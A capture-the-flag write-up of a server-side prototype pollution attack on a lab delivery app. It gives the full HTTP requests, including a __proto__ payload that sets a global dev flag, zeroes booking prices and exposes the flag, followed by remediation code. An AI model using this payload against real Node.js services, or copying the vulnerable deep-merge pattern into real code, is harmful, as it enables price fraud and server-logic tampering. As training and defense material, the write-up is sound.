BugForge — 2026.04.11

Galaxy Dash: Server-Side Prototype Pollution

BugForge Prototype Pollution medium

Overview

  • Platform: BugForge
  • Vulnerability: Server-Side Prototype Pollution → Price Bypass
  • Key Technique: Exploiting vulnerable deep merge on organization settings endpoint to pollute Object.prototype.dev, triggering hidden zero-price booking logic
  • Result: All bookings created at $0.00; flag revealed in invoice number field

Objective

Find the flag in the Galaxy Dash delivery management application (medium difficulty).

Initial Access

# Target Application
URL: https://lab-1775944835174-2v62ux.labs-app.bugforge.io

# Auth
POST /api/register — creates user + organization, returns JWT (HS256)
JWT payload: {id, username, organizationId}

Key Findings

  1. Server-Side Prototype Pollution (CWE-1321) — The PUT /api/organization endpoint uses a vulnerable deep merge function (lodash.merge or equivalent) on the raw request body without sanitizing __proto__ keys. Sending {"__proto__":{"dev":true}} pollutes Object.prototype globally on the server.

  2. Hidden Developer Logic Triggered via Polluted Prototype (CWE-471) — The booking creation handler reads org.dev to decide pricing. When Object.prototype.dev is truthy (via pollution), the check passes for all objects, setting total_price to 0 and replacing the invoice_number with the flag.


Attack Chain Visualization

┌──────────────────────┐
│ PUT /api/organization│
│ Body includes:       │
│ "__proto__":         │
│   {"dev": true}      │
└──────────┬───────────┘
           │ Server deep merges req.body
           │ Traverses __proto__ key
           ▼
┌──────────────────────┐
│ Object.prototype.dev │
│ = true (global)      │
└──────────┬───────────┘
           │ All objects now inherit dev=true
           ▼
┌──────────────────────┐
│ POST /api/bookings   │
│ (normal booking)     │
└──────────┬───────────┘
           │ Server checks org.dev → truthy
           ▼
┌──────────────────────┐
│ total_price = 0      │
│ invoice_number = flag│
└──────────┬───────────┘
           ▼
┌──────────────────────┐
│ GET /api/invoices/:id│
│ → Flag revealed      │
│ bug{76d9aJ5p...}     │
└──────────────────────┘

Application Architecture

Component Path Description
Auth /api/register, /api/login, /api/verify-token JWT-based auth (HS256, no expiry)
Org Settings GET/PUT /api/organization Organization config — vulnerable deep merge
Team Mgmt /api/team, /api/team/:id Team member CRUD (roles: org_admin, viewer)
Locations /api/locations 22 delivery locations (Futurama-themed)
Services /api/services 4 delivery service tiers with price multipliers
Price Calc POST /api/calculate-price Server-side price calculation (does NOT check dev flag)
Bookings /api/bookings Booking CRUD — checks org.dev at creation time
Invoices /api/invoices/:id Invoice display — where flag appears

Exploitation Path

Step 1: Reconnaissance — Mapping the API

Registered an account and mapped the API surface. The application is an Express.js backend with React SPA frontend, using JWT auth (HS256) and SQLite. Key observations:

  • Organization settings endpoint (PUT /api/organization) accepts arbitrary JSON fields without error
  • Frontend source references a dev property on the organization object
  • Roles and permissions system (org_admin, viewer) with granular capabilities

Step 2: Dead End — Direct Mass Assignment of dev Field

Hypothesis: Setting "dev":true directly in the PUT body would persist and affect pricing.

PUT /api/organization HTTP/1.1
Content-Type: application/json
Authorization: Bearer <jwt>

{
  "name": "biz",
  "dev": true
}

Result: Server returned 200, but:

  • GET /api/organization did not include a dev field — the server whitelists stored fields
  • POST /api/calculate-price returned identical pricing (total: 7875)

Learning: The server accepts the field silently but does not persist it. Field whitelisting prevents direct mass assignment.

Step 3: Dead End — Testing dev Effect on Booking Creation

Hypothesis: Even if dev wasn’t visible in GET, perhaps the server stored it and only checked it during booking creation.

Created a new booking after the mass assignment attempt:

  • Booking total_price: 22690.63 — identical to the first booking
  • Invoice showed the same pricing

Learning: The dev field is definitively not stored via direct assignment. But its existence in frontend code is a strong signal that zero-price booking logic exists server-side — the question is how to trigger it.

Step 4: Prototype Pollution via __proto__

Hypothesis: The server uses a vulnerable deep merge (lodash.merge or similar) on req.body. Sending __proto__ in the JSON body will cause the merge to traverse up the prototype chain and set properties on Object.prototype.

PUT /api/organization HTTP/1.1
Content-Type: application/json
Authorization: Bearer <jwt>

{
  "name": "biz",
  "contact_email": "[email protected]",
  "__proto__": {
    "dev": true
  }
}

Result: Server returned 200. The __proto__ key was not filtered — the deep merge traversed it and set Object.prototype.dev = true globally.

Step 5: Triggering the Zero-Price Logic

Created a normal booking after pollution:

POST /api/bookings HTTP/1.1
Content-Type: application/json
Authorization: Bearer <jwt>

{
  "pickup_location_id": 1,
  "delivery_location_id": 5,
  "service_id": 2,
  "package_weight": 25,
  "package_dimensions": "30x30x30",
  "description": "Test delivery",
  "notes": "Standard delivery"
}

Result: Booking created with total_price: 0.

Step 6: Retrieving the Flag

GET /api/invoices/3 HTTP/1.1
Authorization: Bearer <jwt>

Response:

{
  "invoice_number": "bug{76d9aJ5p5ra5zta2jBtuDUa8ox2uCLNG}",
  "subtotal": "0.00",
  "tax": "0.00",
  "total": "0.00"
}

Flag / Objective Achieved

bug{76d9aJ5p5ra5zta2jBtuDUa8ox2uCLNG}

Key Learnings

  • Prototype pollution is a server-side vulnerability, not just client-side. When Node.js backends use vulnerable deep merge libraries (lodash.merge, hoek, etc.) on user-controlled input, attackers can modify Object.prototype globally, affecting all subsequent object property lookups across the entire process.

  • __proto__ in JSON is parsed by JSON.parse(). Unlike JavaScript object literals where __proto__ sets the actual prototype, JSON.parse('{"__proto__":{"x":1}}') creates a regular property named __proto__. However, vulnerable merge functions then traverse this property name and follow it to Object.prototype, completing the pollution.

  • The signal was in the frontend code. The frontend code referenced org.dev — a property that didn’t exist in any API response. This hinted at hidden server-side logic gated behind a property that wasn’t meant to be user-settable through normal means.

  • calculate-price vs booking creation divergence was the key clue. The price calculation endpoint did NOT check org.dev, but booking creation did. Testing the wrong endpoint (calculate-price) initially made it seem like the dev flag had no effect anywhere.


Failed Approaches

Approach Result Why It Failed
Direct mass assignment "dev":true via PUT /api/organization 200 OK but field not persisted Server whitelists fields for storage — dev silently dropped
Direct mass assignment "dev":true via POST /api/register Registration succeeded but org had no dev flag dev not passed through to org INSERT query
Testing dev effect via calculate-price endpoint Identical pricing calculate-price endpoint does not check org.dev — only booking creation does

Tools Used

  • Caido — HTTP proxy for intercepting and replaying requests
  • Browser DevTools — Analyzing minified React bundle for dev references
  • curl — Direct API testing for prototype pollution payload

Remediation

1. Server-Side Prototype Pollution (CVSS: 9.8 - Critical)

CVSS Vector: AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

Issue: The server uses a vulnerable deep merge function on user-supplied JSON without sanitizing dangerous keys (__proto__, constructor, prototype). This allows attackers to modify Object.prototype, affecting all objects in the Node.js process — a complete compromise of server-side logic.

CWE Reference: CWE-1321 — Improperly Controlled Modification of Object Prototype Attributes (‘Prototype Pollution’)

Fix:

// BEFORE (Vulnerable)
const _ = require('lodash');
// Deep merge of raw user input into org settings
_.merge(orgSettings, req.body);

// AFTER (Secure) — Option 1: Sanitize dangerous keys
function sanitizeInput(obj) {
  if (typeof obj !== 'object' || obj === null) return obj;
  const clean = {};
  for (const key of Object.keys(obj)) {
    if (key === '__proto__' || key === 'constructor' || key === 'prototype') continue;
    clean[key] = sanitizeInput(obj[key]);
  }
  return clean;
}
_.merge(orgSettings, sanitizeInput(req.body));

// AFTER (Secure) — Option 2: Use Object.create(null) as merge target
const safeTarget = Object.create(null);
Object.assign(safeTarget, orgSettings);
_.merge(safeTarget, req.body);

// AFTER (Secure) — Option 3: Explicit field whitelist (best)
const allowedFields = ['name', 'contact_email', 'address', 'phone'];
const updates = {};
for (const field of allowedFields) {
  if (req.body[field] !== undefined) updates[field] = req.body[field];
}
Object.assign(orgSettings, updates);

2. Hidden Developer Logic in Production (CVSS: 6.5 - Medium)

CVSS Vector: AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N

Issue: Production code contains a dev flag check that zeroes out pricing and embeds sensitive data (flag) in invoice numbers. Developer/debug logic should never be present in production builds.

CWE Reference: CWE-489 — Active Debug Code

Fix:

// BEFORE (Vulnerable)
if (org.dev) {
  booking.total_price = 0;
  booking.invoice_number = FLAG;
}

// AFTER (Secure)
// Remove dev-mode logic entirely from production code.
// If dev pricing is needed for testing, use environment-gated
// feature flags that cannot be influenced by user input:
if (process.env.NODE_ENV === 'development' && process.env.ENABLE_DEV_PRICING === 'true') {
  booking.total_price = 0;
}

OWASP Top 10 Coverage

  • A03:2021 — Injection — Prototype pollution is a form of injection where attacker-controlled keys modify the runtime behavior of server-side objects
  • A04:2021 — Insecure Design — Hidden developer logic in production represents a design flaw; debug features should be environment-gated, not property-gated
  • A08:2021 — Software and Data Integrity Failures — The deep merge accepts untrusted input without validation, allowing modification of core object behavior

References


Tags: #prototype-pollution #nodejs #express #deep-merge #price-bypass #bugforge #server-side Document Version: 1.0 Last Updated: 2026-04-11

#prototype-pollution #nodejs #express #deep-merge #price-bypass #server-side